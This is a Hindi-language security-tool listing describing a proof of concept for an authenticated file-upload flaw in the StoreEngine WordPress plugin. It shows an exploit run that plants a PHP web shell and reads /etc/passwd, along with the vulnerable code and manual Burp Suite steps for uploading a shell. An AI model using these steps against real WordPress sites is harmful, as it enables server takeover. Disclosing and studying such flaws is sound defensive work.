Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-9216 — StoreEngine – शक्तिशाली वर्डप्रेस ईकॉमर्स प्लगइन भुगतान, सदस्यता, सहबद्ध, बिक्री और अधिक के लिए <= 1.4.0 - प्रमाणित (Subscriber+) मनमानी फ़ाइल अपलोड | Kitploit
उपकरण/GitHubGitHub/d0n601/cve-2025-9216
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubd0n601/cve-2025-9216

CVE-2025-9216

StoreEngine – शक्तिशाली वर्डप्रेस ईकॉमर्स प्लगइन भुगतान, सदस्यता, सहबद्ध, बिक्री और अधिक के लिए <= 1.4.0 - प्रमाणित (Subscriber+) मनमानी फ़ाइल अपलोड

रिपॉजिटरी देखें
21 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More <= 1.4.0 - प्रमाणित (सब्सक्राइबर+) मनमाना फ़ाइल अपलोड

StoreEngine प्लगइन में CSV आयात/निर्यात सुविधा में एक कमजोरी है जो किसी भी प्रमाणित उपयोगकर्ता (सब्सक्राइबर, लेखक, संपादक, आदि) को मनमानी फ़ाइलें अपलोड करने और रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है। यह कमजोरी दो सुरक्षा दोषों से उत्पन्न होती है: (1) CSV आयात एंडपॉइंट में उचित फ़ाइल सत्यापन जाँच, अनुमति जाँच का अभाव है, और केवल सुरक्षा के लिए nonce सत्यापन पर निर्भर करता है, और (2) storeengine_nonce प्लगइन के JavaScript के माध्यम से सभी फ्रंटएंड उपयोगकर्ताओं को उजागर होता है। यह संयोजन किसी भी प्रमाणित उपयोगकर्ता को फ्रंटएंड पेजों से nonce निकालने और storeengine_csv/import एंडपॉइंट के माध्यम से PHP वेब शेल अपलोड करने की अनुमति देता है, प्रभावी रूप से सब्सक्राइबर+ उपयोगकर्ताओं को सर्वर पर मनमाना कोड निष्पादित करने की क्षमता प्रदान करता है।

TL;DR शोषण

  • एक POC CVE-2025-9216.py प्रदान किया गया है जो एक व्यवस्थापक द्वारा omg.php नामक वेब शेल अपलोड करने का प्रदर्शन करता है।
root@kitploit:~
python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}

Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php

Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>

विवरण

कमजोर फ़ाइल अपलोड फ़ंक्शन

storeengine_csv/import AJAX क्रिया /wp-content/plugins/storeengine/addons/csv/ajax/import.php की लाइन 51 पर import() फ़ंक्शन को कॉल करती है, जिसमें उचित अनुमति जाँच और फ़ाइल प्रकार सत्यापन का अभाव है:

root@kitploit:~
public function import() {
    if ( ! isset( $_FILES['file'] ) ) {
        wp_send_json_error( 'No file uploaded.' );
    }

    $file   = $_FILES['file'];
    $folder = Helper::get_upload_dir() . '/csv/';

    if ( ! file_exists( $folder ) ) {
        wp_mkdir_p( $folder );
    }

    $filename = sanitize_file_name( $file['name'] );
    $target   = trailingslashit( $folder ) . $filename;

    if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
        wp_send_json_error( 'Failed to move uploaded file.' );
    }

    wp_send_json_success( [
        'filename' => $filename,
    ] );
}

फ़ंक्शन केवल sanitize_file_name() का उपयोग करके फ़ाइल नाम को साफ करता है लेकिन कोई फ़ाइल प्रकार सत्यापन या क्षमता जाँच नहीं करता है। यह किसी भी फ़ाइल प्रकार को अपलोड करने की अनुमति देता है, जिसमें PHP फ़ाइलें शामिल हैं जिन्हें वेब सर्वर द्वारा निष्पादित किया जा सकता है।

Nonce एक्सपोज़र कमजोरी

storeengine_nonce प्लगइन के JavaScript के माध्यम से सभी फ्रंटएंड उपयोगकर्ताओं को उजागर होता है। यह /wp-content/plugins/storeengine/includes/assets.php की लाइन 279 पर _get_script_data() विधि में होता है:

root@kitploit:~
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

यह nonce फिर लाइन 120 पर frontend_scripts() विधि के माध्यम से फ्रंटएंड JavaScript में स्थानीयकृत किया जाता है:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Nonce सत्यापन

nonce /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php की लाइन 510 पर AbstractRequestHandler::check_permission() विधि में सत्यापित किया जाता है:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

यह संयोजन किसी भी प्रमाणित उपयोगकर्ता को मनमानी फ़ाइलें अपलोड करने की अनुमति देता है, जिसमें रिमोट कोड निष्पादन के लिए PHP वेब शेल शामिल हैं।

मैन्युअल पुनरुत्पादन

  1. व्यवस्थापक पैनल में लॉगिन करें और StoreEngine प्लगइन पर जाएं।
  2. CSV आयात अनुभाग पर जाएं (यदि व्यवस्थापक इंटरफ़ेस में उपलब्ध हो)।
  3. Burp Suite या समान टूल शुरू करें और ट्रैफ़िक को इंटरसेप्ट करना शुरू करें।
  4. एक फ़ाइल अपलोड करने का प्रयास करें और /wp-admin/admin-ajax.php पर POST अनुरोध को इंटरसेप्ट करें जो storeengine_csv/import क्रिया को कॉल करता है।
  5. अनुरोध को एक मनमानी फ़ाइल शामिल करने के लिए संशोधित करें, नीचे दिए गए उदाहरण में हम एक PHP वेब शेल अपलोड कर रहे हैं।
  6. अनुरोध भेजें और {"success":true,"data":{"filename":"shell.php"}} प्राप्त करें।
  7. वेब शेल को https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php पर ब्राउज़ करें और कोड निष्पादित करें।
टूल डाउनलोड करें